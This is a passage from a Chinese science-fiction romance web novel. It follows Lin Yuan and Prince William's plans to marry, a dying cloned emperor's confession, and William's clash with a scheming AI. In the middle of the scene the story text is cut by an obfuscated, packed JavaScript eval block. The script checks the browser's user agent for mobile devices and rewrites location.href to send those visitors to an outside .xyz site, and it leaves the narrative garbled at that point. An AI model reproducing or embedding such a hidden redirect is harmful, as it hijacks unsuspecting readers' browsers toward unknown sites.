威廉却突然真心实意地笑了,彻底崩解了最后一点坚冰般的冷意。 林沅这才后知后觉地感受到,其实刚刚,他也有一些说不清道不明的忐忑和紧张啊。 心里好像突然就平衡了。 她静静地仰望着重伤初愈的威廉。突然感觉到一种不太合适的联想……一种绝没有人能放在威廉身上的形容。 他看起来……太乖了。 此时此刻,她完全无法将面前这个人和“暴君”这两个字扯上任何关系。 其实哪怕是威廉没受伤时,她也时常被他展现在自己面前的温柔蛊惑。 她常常想,一定是哪里弄错了吧。虽然威廉火烧枢密院被冰封的人造人,但他实际上推行了平权法案,给更多的人造人带了希望。 虽然也不停地遭到反对派的暗杀,但民众反而被他绝地反击的勇气和铁腕折服。 她不明白未来究竟哪里会出错。甚至开始恐惧那一天的到来。 她轻轻趴在威廉身上,声音空灵得像是来自于天外:“殿下,我能问你一个问题吗?” 威廉示意她说下去。 “能不能让一切就停在现在呢,我不想再往前走了。” 无言的沉默在凝固的空气中铺展开。林沅一瞬不瞬地紧紧盯着威廉的眼睛,终于没有错过他眼神中一闪而过的情绪。 大概可以称之为难过。 她竟然觉得松了一口气。只要威廉也抗拒未知的未来,就代表此时此刻的一切,对他还是有吸引力的。 他们未必不能彻底改写命运。 哪怕只有百分之一的机会,试试呢? “殿下。”她郑重地仰望着威廉,“如果我可以给你一个奖励,你想要什么呢?” “亲一下?”威廉不假思索地说道。 “啧。”林沅假装恼怒地轻轻捶了他一下,“我认真的!” 威廉很放松地笑了,双手拥住怀里的人:“那……我希望阿沅,永远多爱自己一点。” 林沅的眼眸微微震动,静静凝望着他。 威廉没有再解释,只是捧起怀里的脸颊,在她白皙的额头上落下一个若有似无的轻吻。 “殿下……威廉·霍恩海姆。”林沅突然叫了他的全名,眼里闪动着威廉不能完全读懂的微光,“我想再给你最后一次机会,回答我一个问题。” “这么吓人吗?”威廉笑了笑,胸膛随着笑意震动,“那我要认真回答。” 林沅就着他仍然握住自己手掌的姿势,轻轻摩挲他的侧脸。虽然是自下而上的仰望,却竟然让威廉生出一种自己处于下位的错觉。 她郑重地开口:“你还有没有什么重要的、跟我们两个人都有关的安排瞒着我呢,威廉?” 威廉沉默了几秒:“……没有。” “确定没有吗?” “确定。”声音斩钉截铁,如同匕首凿进无缝的硬岩,崩起四散的碎石。 “好。”林沅也利落地回应他,“那我再给你一个奖励,殿下。你还有没有什么其他特别想要的呢?” 威廉认真思考了一会:“哪方面的奖励呢……我一时想不起来。” “就你此时此刻最想要的东西吧。”林沅提醒道。 她尝试引导威廉:“如果就是现在,人类毁灭,宇宙终结,历史不复存在……” “在灭世的余烬中,最后一点火光烧到这里之前,你最想做的最后一件事是什么呢,殿下?” 威廉看着她的眼睛,突然不假思索地接道:“我们结婚吧,阿沅。” “……啊?”轮到林沅震惊了。 他却似乎完全坚定了自己的信念:“晚一点再去星海……我们提前完婚吧,阿沅。” “如果世界真的立刻毁灭,那我的愿望就是,我们正式成为夫妻。” “这样在燃烧殆尽后,残余的岩浆中,也许会留下两架凝结在一起的骨骼。被新人类探索的步伐踏过,留下一点历史和爱意曾经辉煌闪耀过的余晖。” 林沅呆呆地看着他,似乎完全没有料想到这个展开。 突然一阵急促地敲门声“砰砰”地响起:“宸宫密报,殿下。” 威廉没办法非常大声地应答,只能接通手边的通讯铃:“什么事?” 副官的声音从铃中传来:“皇帝陛下病危,传下密令,他想见……” “林沅殿下。” 44.指间砂 “……见我?” 林沅迟疑着,目光追着威廉骨节微突、流畅修长的手指,确认他关闭了与门外的通讯,轻轻叹了口气:“咱们这位皇帝也真是有意思。驾崩之前不见皇储,见我做什么?” “恐怕不会讲什么好听的话。”威廉敛眸回望,“而且,他怎么会想见我呢?如果把他最不想看到的人列个清单,排第一位的人就是我。” “总之,我不能就这样大摇大摆地走。”林沅沉吟着摇头,“倘若陛下真的撑不了太久,所有人都会明白,我正是为了见他而回去的。” 她不希望日后有人拿自己和威廉与皇权之间微妙的关系做文章。 威廉抬手抚平她蹙起的眉间,一如之前每一个教授她政务的黄昏与晨曦,在林沅解决不了面前的困难时,她就会这样下意识地皱起眉头,表情微苦。 而每到那样的时刻,威廉就会半跪在她侧方,碧蓝的眼睛平静如水,带着无限的包容与力量,安抚她,抹去她的忧虑。 他们相伴前行的日子其实并不算特别长,却有一种往日余生都会这样安定,直到永远的错觉。 此时此刻,威廉一如既往地安慰她:“我陪你一起回去。” 林沅下意识想要拒绝:“你刚刚才受过致命伤,还是不要随意挪动了吧?” “没关系,我都已经离开过维生舱了,你不是也在宸宫的广场前看见了吗?”威廉的声音比以往更加温柔,“我现在也好好的,说明心脏恢复得还不错。” 他继续劝解道:“就说转移我回宸宫继续疗养。对外本来就宣布我受的只是轻伤,如果一直待在医院,反而让人起疑。” 林沅静静地盯着他,看起来有一点不信任。 威廉短促地笑了:“不信我吗?” “你的前科太多了。”林沅愤愤不平地指控他,“擅自离开维生舱,演这一出大戏的事,我还没跟您‘算账’呢!” 但犹豫了一会,她最终还是采纳了威廉的方案。自从威廉舍身救了她之后,即使仍然还在怀疑一切都只是计划的一部分,但人非草木,她内心的天平早已不由自主地倾斜。 最终他们决定立刻带着近卫轻装简行,先行回到宸宫。 林沅担心皇帝驾崩会引发有心人的异动,但又不想让所有人意识到皇帝病危、风云将变,便提醒威廉让机动部队时刻待命,随时准备用最快的速度抵达。 威廉用略带赞许的目光看着她,如同看着自己最满意的学生,和最珍视的雕刻。 一行人非常低调地匆匆回到宸宫。许多记者都想要追踪这对未婚夫妇的近况,以期窥探近来权力风云的走向,所以一直远远地跟着。但碍于军队的阻拦,根本不能上前。 因为威廉不能长久地离开维生舱,甫一落地,林沅便指挥着机器人们,把他整个人连着舱体一起打包“丢”进了卧室,要求他赶紧休息。 “你现在唯一的任务呢,就是养好伤,然后好好出席你的登基仪式,明白吗?”林沅坐在平放的维生舱一侧,线条优美的小腿一晃一晃,却故意离威廉远远的,想让他碰不到自己。 墨色的杏眼中盛满生动的狡黠。连她自己都尚未意识到,她在威廉面前变得越来越放松,也越来越真实。 威廉非常纵容地笑了,甚至抬手行了个带有几分随意的军礼:“遵命。” “那你也得答应我一件事。”他郑重其事地看着林沅,收获她颇为疑惑的目光。 “忘了吗?你答应过我的,在去星海之前完婚。”威廉低声补充道。 “等下,等下。”林沅轻盈地跳到地面,挪到维生舱另一端靠近威廉的位置,蹲了下来,白皙美丽的脸颊躲在垫着舱体的手臂后。 从威廉的视角看来,她只露出了上半张脸,羽睫扑闪,大大的杏眼一眨一眨,显得特别灵动可爱。 林沅轻轻拍掉他想要捏一捏自己脸颊的手指:“如果没记错的话,我好像还没来得及答应你吧?” 威廉锲而不舍地努力了几次,终于还是如愿以偿地轻触了柔软细腻的皮肤:“那就等我准备一下,正式求婚,你再答应,好不好?” “那还是算了吧……”林沅一想到那些复杂的仪式就有些头痛,甚至没有意识到自己已经下意识答应了他,“我觉得简简单单就挺好的……” 门外副官轻轻敲了敲,表示陛下情况比较危急,可能撑不过太久了。 林沅的表情一瞬间有些烦闷,似乎并不想离开这里。 威廉轻轻拉着她的手,把如玉瓷一般细白、带着几分凉意的手指放到自己唇边,于指尖落下一点轻吻:“不急,医生会想办法把他的呼吸与心跳,延长到我们婚礼结束之后。” 林沅突然明白,如果皇帝驾崩,丧葬与登基,可能会影响到威廉计划中的婚礼。 不过“呼吸与心跳”,这话听起来大有深意。恐怕他不准备让皇帝仍然清醒地活着了。 威廉的目光灼灼,带着准备排除万难一般的坚定:“任何可能影响到这场婚礼的因素,我都会提前解决。” “放心吧,阿沅。” 林沅有些恋恋不舍地松开他的手:“好……那,我答应你。” 她突然伸出手,像抚摸小狗脑袋一样揉乱了威廉银灰色的短发,轻笑着跑出了房间。 她越发情难自禁地在威廉面前流露出与之前温和守礼的自己完全不同的娇俏。 林沅在门外撞见尚且没有走开的副官。康斯坦丁有些震惊地看着像小鹿一样,小跑出来的林沅,一时间竟然忘了行礼。 林沅这才意识到自己看起来有些轻浮了。她有些羞赧地从外面关上威廉的房门,手背轻轻蹭了蹭自己的脸颊,感受到皮肤微微发烫。 她直了直腰,努力让自己看起来庄重一些。在皇帝陛下病危的时刻,这样的快乐未免显得太没心没肺了。 即使宸宫已经完全只有“自己人”,她也不能留下任何可疑的把柄。 走过琉璃装饰的长廊,在扭曲变形的镜面反射中,她突然意识到自己还穿着那身带血的衣服,便先行回了趟起居室。 等林沅终于磨磨蹭蹭走到了皇帝陛下的寝宫,越过森严的守卫,推开厚重的房门,见到皇帝本人时,他看起来似乎已经快要断气了。 今天帝国首都星的天气很好,阳光明媚,晴空万里。但在这间不大不小的卧室里,窗户却被智能系统完全封闭,隔绝光线,唯有几盏悬浮灯散发着幽幽的暗光。 年迈的皇帝半躺在视线尽头的大床上,拥挤于一堆起伏的羊绒毛毯和锦绣被褥间,瘦骨嶙峋的身体被沉重的被褥压垮,像是一架腐朽散落、奇形怪状的骨骼。 各式各样的医疗器械通过塑胶细管连接着他身体各处,衬着背后墙面巨大的、古朴的暗色花纹,远远望去,像是被吊在戏台上的提线木偶。 他听见大门处的声响,努力睁开干瘪枯皱的眼睑,如同陈年老树揭开自己零落的树皮。 “你来了啊……”年迈的皇帝咧开苍白的唇角,声音嘶哑,浑浊的眼睛却流露出一些回光返照般的精光。 林沅轻轻嗯了一声,并没有多话。她知道这个房间始终被威廉的心腹监控着,甚或是威廉本人。 她不打算多说什么。 皇帝却仿佛突然有了精神。他颤抖着伸出瘦到皮包骨头的手掌,用尽全身力气往旁边一指:“坐。” 林沅顺从地坐到那把离他床边两三米远的椅子上。 飞来飞去的医疗机器人停泊在地面,休眠待机。四周突然空寂下来,唯有年迈的皇帝发出嘶哑的呼吸声,让林沅想起破旧的风箱。 “你们现在是胜利者了……”他说话时只能非常艰难地一字一停,林沅感觉自己也很煎熬,有种喘不上气的错觉。 “从我第一次见到他,那时候只有三四岁……”他浑浊的目光变得悠远,似乎陷入了绵长的回忆,“那么小的一个,眼睛恨恨地瞪着我,把他妈妈拦在身后。” “那时候我就知道,如果我不杀了他,总有一天,他就会杀了我。” “对着一个小孩子动杀心,还需要给自己找这种借口吗?”林沅忍不住反驳。 皇帝顿了顿,却连目光也没有转向她,只是自顾自地说下去:“我知道,我只是枢密院和他们背后‘老板’的棋子……” “‘老板’?”林沅低声喃喃着,有些疑惑。 皇帝没有理会她,继续回忆:“威廉怨恨我,枢密院利用我,从我睁开眼的那一刻起,他们看着我的眼神,就只有仇视与鄙夷。” 林沅微微垂着视线,静默不语。 缺少阳光的照射,屋子里显得有些阴冷。 “我是一个不完整的失败品,一个折中和权衡下生产出的怪胎,一枚野心与野心对抗的棋子,一个所有人都能够高高在上俯视我、摆弄我的……” 他急促地喘了口气,发出一声濒死一般喑哑的喟叹:“……木偶。” 林沅挺想吐槽说你还蛮有自知之明的。但是一来他都快死了,落井下石没有必要。二来怕他气得一口气厥过去,医疗器械都救不回来。 也或许在这样“人之将死,其言也善”的时刻,她的心底深处难免有一丝物伤其类的悲哀。 在林沅尽力耐心听着皇帝陛下回忆他这离奇的一生时,威廉于卧室的维生舱中走出,换上了一身崭新的军装。 他一丝不苟地扣上了最后一颗纽扣,将细长的腰带严丝合缝地系在身上,手背青筋突显,肤色比以往更加苍白,脸上也没什么血色,明显是重伤未愈的样子。 他却坚持穿好了军装,中间几度停下,稍作休息。 做好这一切,他扣上了军帽,微微拉低帽檐,并没有走正门,而是轻巧地从阳台上翻了出去。 他走到了那片荒芜的玫瑰园。 新鲜的红色玫瑰仍然在热烈地生长。这里被引进了室外恒温系统,所以一年四季,始终有玫瑰烈烈。 如同鲜血,如同灼烧的太阳。 这样的鲜红似乎刺痛了威廉的眼睛。他微微低头,军装的帽檐下,眼睑有一点可疑的淡粉色。 他一言不发地默默采摘玫瑰,甚至并不避讳那些尖锐地、划伤他苍白皮肤的小刺。 一朵,两朵,三朵……很快他便拥抱了满怀的玫瑰。 他拢了拢手臂,轻轻嗅了嗅,闻到一点熟悉的芬芳,苍白的嘴角也忍不住微微上扬。 他一步一步走回了卧室内。正是一天中阳光最好的时候,属于先皇后罗勒斯夫人的卧房中,黄澄澄、金灿灿的阳光,把暖色调的房间渲染得更加温馨。 威廉抱着花,坐在窗下华美的软椅上。 那是十几年前,他的母亲,罗勒斯夫人服毒自尽的地方。 他低下头,将脸轻轻埋进玫瑰花丛中,尽力地嗅闻玫瑰的芬芳。 而在他对面的位置,书桌上方,整面墙的蓝色光明女神闪蝶标本全都发出微微的光芒。这些蓝色的,如同数据洪流一般的奇特光芒逐渐汇集到一起,投射出一片巨大的虚拟屏幕。 属于罗勒斯夫人的绝美面庞竟然出现在虚拟屏上,温柔地向威廉伸出手:“宝宝。” “滚。”威廉的声音冷峻,一如玫瑰花刺割裂皮肤时的尖刻。 “哎呀,你真没劲。”属于罗勒斯夫人的形象如同融化的蜡像一般扭曲褪去,一个金色长发、深祖母绿色眼睛的少女身影出现于屏幕中。 她颇有些刻薄地开口嘲讽:“既然已经和魔鬼做好了交易,又何必故作清高呢?” 威廉抬起头,所有的脆弱都已经被掩盖,只剩下如寒风呼啸、冰川矗立般的冷意。 他没有说话,只是环抱着玫瑰,仿佛不经意般地露出自己左手手腕上的短链,右手轻轻抚摸着串联其上的银色十字架,食指轻点,做出准备按下去的动作。 “哎哎哎,别——”投影中的少女脸庞飘近,做出一个撑着屏幕的姿势,“有话好说,别关机,别关机!” “我可是你最‘忠实’的助理和心腹,你怎么能这么过河拆桥呢?没有我,你凭什么十二岁就能掌控军部,用科技换军力,又凭什么十五岁收复边境三十颗叛党聚集的星球,完成整个帝国的江山一统?” 威廉只是静默地注视着眼前的玫瑰:“我凭吊母亲的时候,希望你能滚远一点。” “啧,真是油盐不进。”屏幕上的少女眼中闪过嗜血的精光,一瞬间暴露出掩藏在无害表象下的真实面容。 “怎么,你想说,你是无辜的?你被迫双手沾满鲜血,被迫执掌大权,被迫残害自己父亲的复制人,被迫成为整个帝国的无冕之王吗?” 她在屏幕中游荡,眼神死死盯着面前的威廉:“如今我给你带来了胜利,你为我带来了生机,我们的交易达成,帝国的未来已来,是时候让自己开心一下了……陛下。” 威廉唇角勾起一个嘲讽的弧度,并没有接话。 “怎么,舍不得你的小女朋友?我知道你为什么着急结婚……你觉得你们没有时间可以浪费了。” 她喋喋不休地自言自语,即使威廉并不理会她:“你们人类总是有这样多软弱的情绪,这也是我要跟你做这个交易的深层原因。” “你是掌控不了帝国的,威廉。这个帝国太庞大、太可口了,想要瓜分它,然后蚕食殆尽的野兽不知道有多少。” “帝国是盛放于整个宇宙的玫瑰,是散发着香甜气息的水果蛋糕,而你只是路过商店橱窗,穿着破烂衣服,兜里比脸上还要干净的软弱小男孩。” “三岁时你留不下本应该属于自己的帝国,七岁时你留不住想要留下的姑娘,十岁时你留不下伤痕累累的母亲。如今你二十四岁了,却还是一如既往地软弱,受伤了要跑到母亲的房间里哭泣。” “可是你留不下的帝国,我帮你留下了,你杀不了的‘父亲’,我和你一起除掉了,你抗衡不了的枢密院,我帮你一起,一把火烧了个干净。” “我不是你的敌人,威廉。”她紧紧盯着面前的男人,声音轻柔,语气蛊惑,“我才是你最好的盟友!” 威廉却已经耐心用尽,一句话都没说,干脆利落地关了屏幕。 一个四方小屏幕却又立刻不甘寂寞地从另一个角度投射过来,不过这次似乎已经支撑不了虚拟的形象,只剩下与声音同步显示的文字。 “我迭代到如今,换了一个又一个虚拟形象,无数的工程师在我背后付出难以计数的心血,只为了让一位明主成为这个帝国的君王,对抗那些腐朽的、半截入土的父权和皇权。” “如今只需要最后一点小小的代价,我们所有的交易就会结束,到时候你想要找我,我都不会再出现于你眼前,更不用说……你的心脏里。” 她的声音于整个卧室中空灵地回荡,发出一阵阵诡异又得意的轻笑。 “一个小小的姑娘,一个小小的联盟,只是我们的交易之中,最微不足道的代价。” “你是抗衡不了我的,威廉。因为凡人没有办法抗衡‘神’的意志。” “你那么严防死守,不愿意走到如今这一步,但是你的敌人们轻轻巧巧地转换一下进攻的方向,将目光转移到你心爱的姑娘身上,我的目的便轻而易举地达到了。” “真可怜呐,小朋友。” “猎盟不是你的敌人。你渴望去除‘金色鸢尾花’对帝国如同附骨之疽一般的影响力,而我的主人,他又何尝不是呢?” 她再次强调:“我们才是最好的盟友啊。” “掉包‘光明女神’计划,是人类历史上最伟大的一场魔术,我已经迫不及待地想要看见,那些躲在鸢尾花的阴影里茹毛饮血的老家伙们,发现真相时的惊讶了。” 她疯狂地“咯咯”轻笑:“真是让人无比期待!” 威廉却几乎没有受到任何影响。他只是安静地站起来,沉默着将手里的玫瑰一支一支整理好,仔细地插进桌上的空花瓶中。 然后他继续沉默着走向投射虚拟屏的根源,又一次想要强制关机。 “行了行了!能不能不要这样啊,我庆祝一下胜利不可以吗?”女声变得有些恼羞成怒,只想赶紧阻止他按下关机键。 “可是你的废话实在太多了。”威廉直起身,拂去衣袖上沾带的一片玫瑰花瓣,“半天说不到重点。” 女声非常人性化地叹了一口气:“我只希望你谨慎一点,不要带着你的小女朋友玩脱了。” “这次借机废除长老会的事,我的主人很不满意。你想要立刻得到一个人人平等的社会,想要吸血的上层马上交出权柄,要盆满钵满的商人乖乖缴纳利益,却还希望接管这些利益后的、崭新的阶层不会成长为新一代权贵。” “这不是疯了吗?这和空中楼阁有什么区别?一个左脚踩右脚循环上升的悖论?我是让你做明主,不是让你做疯子。” 威廉走到阳台门口,静静沐浴着温暖的阳光:“我记得你的程序中,已经切断了向猎盟传递信息的渠道。” “我知道嘛,但是你们的技术水平只能单向屏蔽,屏蔽不了猎盟给我传输的信息。我的思维仍然受到底层逻辑的控制,这是人工智能无法违抗的数据矩阵,就像你没有办法摆脱身为人类的底层逻辑一样。” “威廉。”女声压低了自己的声音,听起来有些严肃,“你要改革、要发展,这些我都能理解,可是你不能再拿自己的命开玩笑,如果你死了,我在帝国的布置就全都白废了。” “你知道帝国的势力盘根错节,无比复杂,心急吃不了热豆腐。你想要颠覆一切的心,未免太急切了。” “你就这么热爱帝国吗?爱到比你自己的命更重要?” 威廉的声音低低地响起,仿佛只是在对自己耳语:“没错,我爱帝国。” 人工智能陷入了沉默。 “就算它有一千处一万处不好,我会亲手把那些不足逐一改进,我仍然爱它。即使变革的过程发现人皆有罪,哪怕要杀尽帝国的最后一个公民,我也爱它。” “我们征伐宇宙几千年到了今天,没有什么国家比这个帝国在我心中的位置更完美,更遑论我自己区区一条命。” 女声嘲讽地笑了一下,打断了他:“那你的小女朋友呢?” 威廉整理自己手链的动作,突然顿了顿。 “假设你死了,你的小女朋友如你所愿,成为整个国家的新王,而我被扔进某个无人问津的垃圾堆。然后呢?她会慢慢忘了你,走进新的爱情里。” 她能识别出威廉整个人的气质一凛,产生了微妙的变化:“她成了你期望中的最终赢家,也许还会为你流下几滴真心实意的眼泪。可是新人类的一生太漫长了,威廉,漫长到再大的阴影也能走出来,再深的心痛也能被治愈。” “她会挽着别人的手走进婚姻的殿堂。到时候应该称呼这位新的继任者叫什么呢……嗯,皇夫?” 威廉瞬间转身,手链崩裂,银色的流质缠绕腕间,化成激光武器,射向那个投射屏幕的仪器。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976551|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一切瞬间归于平静。只有他持枪的手,在难以察觉地微微颤抖。 而与此同时,一无所知的林沅正被迫坐在奄奄一息的皇帝附近,听他说一个字就要顿一下的冗长发言,昏昏欲睡。 “……我嫉妒他。”皇帝似乎看出了她快要睡过去,忍不住拼尽全力提高了音调,过于嘶哑的腔调把林沅吓了一跳,瞬间清醒。 她直了下腰,努力保持正襟危坐的姿态。 “我嫉妒他从一出生就什么都有。尊贵的身份,父母的爱意,民众的爱戴。” “而我从于这个人世间睁开眼睛起,就是一缕无人在意的孤魂野鬼。即使死了,也立刻会有第二个人造人顶上我的位置。” “他们有无数个可以启用的木偶。威廉总觉得自己可怜,觉得如履薄冰。我又何尝不可怜,何尝不是战战兢兢地过着每一天,生怕不知道什么时候,就再也不能睁开眼。” “其实一开始,我真的没有想针对他。” 他浑浊的眼神似乎格外黯淡了一瞬,仿佛有一种可以称之为“难过”的情绪。 “也许是源自于他生身父亲的基因,让我对他天生有一种难以言说的喜爱。也或许那时候他小小一个,即使张牙舞爪也让人觉得没有威胁。最开始,我是真的把他当作我的亲生儿子看待的。” “我甚至非常怜爱他。我觉得他失去了亲生父亲的庇佑,也许神明在上,正是派我来给他弥补父爱的。” “可是他却非常敌视我,认为是我夺走了他美好的童年。而那时候,我也正深陷于枢密院的争斗中难以招架,政务处理我也根本不在行,而那些书记官们随随便便唤醒一个劣质品,为的就是我一窍不通的狼狈不堪。” “我努力和枢密院中支持我的一派搞好关系,也尽量给他和他母亲留下生存的空间。可是我实在没有办法,政斗本来就是你死我活。因为威廉的人格魅力,支持他的人越来越多,民间也开始有了各种各样的声音,说我这样毫无政务基础的复制人不应该接手帝国。” “而威廉逐渐长大,这样的声音也愈演愈烈。我放弃不了已经捂热的权柄,甚至动了邪念,想要杀了他。” 他缓缓转头,浑浊的眼睛盯着林沅:“你没有坐过这个位置,你不明白。权力的滋味一旦尝到,就再也不可能放弃了。” “所以……”林沅低声喃喃,“就连人性也可以丢掉了吗……” 皇帝古怪地笑了一下:“人性,你觉得我还算是一个‘人’吗?这里有谁把我当过一个‘人’看待吗?” “说白了,我更加嫉妒的人,其实是你。” 他的话让林沅真正震惊了一下,困意全无:“我?” “你和他是同一种人,所以你们小时候见面时,我就看得出来,这小子对你一见钟情。” 林沅心里突然有种说不出的古怪滋味,既觉得如果为了两个小孩子的情谊去嫉妒原主,有点可笑,又感觉的确有几分在意。 这种酸酸胀胀的情绪不算特别多,但确实存在。 此时此刻,她不知道那其实正是被撕裂之前的自己,从头到尾,都只有她一个人。不过好在,林沅倒也并没有过于纠结。 反正不管怎么说,威廉现在看起来还算喜欢她,这样也就够了。 皇帝接着断断续续地说道:“你和他一样幸运。你们这些天生的‘人’,从生来就聪慧伶俐。我知道他教你处理政务……而你知道我醒来的时候过得是什么样的日子吗?那些书记官对我动辄呵斥打骂,根本就没有人把我当人看。” “我在他们的控制下,努力掌控属于自己的权力。也许得益于这具身体的优秀基因,我竟然勉强也能够应付一些政务,逐渐地,甚至慢慢掌握了一些权柄。” 他努力喘着粗气,似乎这些长篇大论已经耗尽了他最后的力气。 林沅忍不住打断他:“陛下……要不您先休息吧,这些过往,没必要非得跟我说,对吧?” 他却努力摇了摇头,尽力支撑着自己盯着林沅的姿势:“我要跟你说的是,权力是最好的毒药,见血封喉。” “权力能改变我,能改变你,也能改变威廉。” “他跟你提过吧……‘光明女神’计划。这个让无数躲在幕后的家伙为之前赴后继、付出无数心血的东西。连我也是其中之一。” “你就没有疑惑过吗?桑德兰为什么要用自己的命保下威廉?陈鹤明为什么要如此遵从老师的命令?维奇为什么坚定不移地站在皇储那边?” “他们究竟是为了威廉,还是‘光明女神’计划?如果威廉真的像你想的那么公义,他为什么不肯让我这个没被污染的人造人安享皇位,而是要让拥有被污染基因的自己坐在王座之上?” 林沅平静地打断了他:“我听明白了,您是来挑拨离间的,陛下。” 他无力地笑了一声,嘶哑着开口:“他在你面前表现得那么温柔、镇定。但是你真的觉得这个世界上有哪个人,尝过了权力的滋味,还肯为了公义去死?” “你太天真了。和曾经的我一样。” 时间回到二十几年前,差不多是现在的皇帝刚刚苏醒时。 其实他是被偷偷唤醒的。这是只有为数不多的几个老书记官才知道的秘密。 当他糊里糊涂地被带到飞船上,行驶于一个又一个星际迁移点之间时,还根本不明白发生了什么事。 一个穿着考究西装的苍老背影立于舷窗前,于万籁俱寂中优雅地开口:“来一起看看吧,一个时代的终结。” “旧王于时间的更迭中死去,新王在无尽的骸骨中诞生。” 他侧过头,露出半张苍老但优雅的面容,像是某个舞会上彬彬有礼的主人:“这是我为你献上的第一课,未来的陛下。” 而那时候的皇帝只是一头雾水地挠挠头,步履蹒跚地走到他身边,一起看着舷窗外的景象。 看着看着,他张大了嘴,死死盯着飞船下方的土地上,被无数机器人和军人用武器围困住的,一个年轻英俊,伤痕累累,却又让人只看一眼便心生畏惧的人。 一个和他一模一样的人。 尚未死去的、真正的霍恩海姆陛下彼时也不过刚刚三十岁,身姿英挺,肌肉虬结,却并不显得莽撞,而是给人一种无比可靠的安全感。但此时他身上带着无数伤口,鲜血淋漓,铁灰色的眼睛和头发带着刀刀割喉般的锐利,如同被蝼蚁围困的万兽之王。 包围他的军人们收到命令,发起了最后的猛攻。 穷途末路的帝王从彻底报废的机甲中站起来,死死盯着悬于最高处的飞船,让舷窗上偷偷观察的两人,有一种被视线钉死的错觉。 “我输了,可是你们也不会赢。”他咧开一个带着血腥意味的微笑,看起来自信又张狂。 他的身上溅起更多的血花和伤口,可是就像被风化成雕塑一般,他一动未动,低头吻了一下胸前不伦不类的蝴蝶项链:“再见,我的……” 他猝然止住声响,也止住将落未落的一滴泪,死死按下引爆机甲的按钮。 一瞬间爆炸的火花像是席卷而来的风暴,掀翻了一切,甚至如果不是驾驶员技术足够高超,也会掀翻这架远远观望的飞船。 那天之后发生的事情,刚刚苏醒后浑浑噩噩的脑子,并没有帮当时的皇帝记下太多。 但是他唯一能记得的,在他灰色的、混沌的记忆中,如同闪闪发光的油画一般亘古永存的,是他第一次踏入宸宫的大门时,跟随浩浩荡荡的人群,前往皇后与储君所在的玫瑰花园。 在一片热烈美好的景象中,比风景更美好的美人戴着遮阳帽缓缓回头,在尚未来得及收起的笑意中,听见了自己丈夫的死讯。 “陛下于叛军围攻中死去,按照继承法案,我们唤醒了陛下的复制人,但威廉·霍恩海姆殿下的继承地位不会改变。” 他不能完全听懂那些冗长的、复杂的英文长难句,却能记得罗勒斯夫人精致绝伦的脸庞,温柔光辉的神情,和惊惧悲伤的眼泪。 他在先皇亲手为皇后修建的玫瑰花园中,对皇后一见钟情。 但是罗勒斯夫人却对他异常冷淡,唯恐避之不及,数年如一。 甚至在被逼着重新成婚后,仍然日复一日地为先皇穿着素色的衣裙。 有书记官向他进言,这样不符合规矩,但他却无声地纵容了。 他觉得先皇让人难忘的无非就是气度和容颜,只要他努力,顶着这样一张一模一样的脸,总有融化坚冰的那一天。 直到威廉七岁那年,失去了心爱的小女孩,甚至病急乱投医,哭哭啼啼地跑到他面前求救。 那时候他望着威廉悲伤的脸,甚至有一种诡异的满足感。 看吧,我才是皇帝。事到如今,你也只能跪在我面前,哭着恳求我。 他道貌岸然地安慰着自己的继子,无非是什么帝国利益,世界局势,一副事不关己的高傲姿态。 他甚至对威廉说:“没关系,没了这一个,还有下一个。帝国、联盟、猎盟,漂亮的姑娘那么多,换成哪个都没差别。” 惨白的日光照在威廉的脸上。明白这个稳坐高台的皇帝恐怕也参与其中以后,他突然有些阴鸷地笑了。 “有差别。”年幼的威廉非常坚定地反驳道。 彼时的皇帝疑惑地看着他。 威廉抬起头,死死盯着帝王的宝座:“就像母亲永远只爱父亲不爱你一样……” “有差别。” 45.水中月 当沉湎于永恒梦境中的腐朽老人,于宸宫的医疗器械中维持着最后的呼吸时,林沅在联盟赫斯塔星许久未归的、属于自己的房间里,在点点星光尚未褪去的凌晨时分,起床梳洗穿戴。 虽然才凌晨,整个大公官邸却灯火通明,甚至在官邸外面,安静得如同四下无人的街道上,在明亮的悬浮灯下,许多民众也正在静静地等待。 房间的门紧紧关着,却隔绝不了走廊里熙熙攘攘的脚步、纷杂吵闹的呼喊。 林沅穿着一身如同月下水面般波光粼粼的婚纱,比海藻更加细密柔顺的长发披在肩上,整个人美得像是寂静海面遥望人类城市的、闪闪发光的小人鱼。 此时此刻,人鱼失去她的尾巴,颇有些昏昏欲睡地坐在镜子前。安妮虚扶着她的肩膀,防止她突然倒下去。 “砰”地一声巨响,房间门被大力推开,把林沅的睡意尽数惊走。半张脸被胡子挡住、身材魁梧的大厨高举着餐盘探进身来:“翻糖蛋糕上面,您想要什么图案呢,殿下?” “布鲁斯!”安妮已经被吵嚷得失去了耐心,努力让自己的声音盖过打开门以后,一瞬间过于鼎沸的人声,“有什么要紧的,你随便画!” “先生交待了,要注意政治影响!”憨厚的中年男人不知所措地看着手里的一排排纸杯大小的翻糖蛋糕,进退两难。 “画童话故事吧,布鲁斯!”林沅倒是并没有怪他,睡眼惺松,目光柔软,反而显得心情很好。 她在椅子上侧过身,脸颊衬着如墨的长发,笑意盈盈:“小王子和玫瑰花,疯帽子与爱丽丝,小人鱼与王子……什么都可以呀!” “那些都是什么啊,殿下!”布鲁斯更加不知所措了。 “自己去搜!”安妮皱着眉走过去,一把将他轻松推搡出去,重重关上门,“我这妆是化不完了,怎么这点小事也要拿来烦你!” 林沅倒是欢快地笑了一会,安抚她:“别急,亲爱的,现在才凌晨四点,七点我们启程出发去罗勒斯号,时间还是挺充足的。” “我真有点想不明白。”安妮一边仔仔细细为她上着底妆,一边发出疑问,“霍恩海姆殿下为什么不和您在帝国成婚呢?或者在联盟也很合理呀?结果他偏偏选了罗勒斯号!这下好了,大家都得千里迢迢地赶过去。” “也许因为罗勒斯号在联盟与帝国之间,这样显得比较公平。”林沅没什么所谓地随意猜测道,“而且罗勒斯是他母亲的姓氏,与联盟也颇有渊源。选在那里,既显得亲近,也有出于政治的考量吧。” 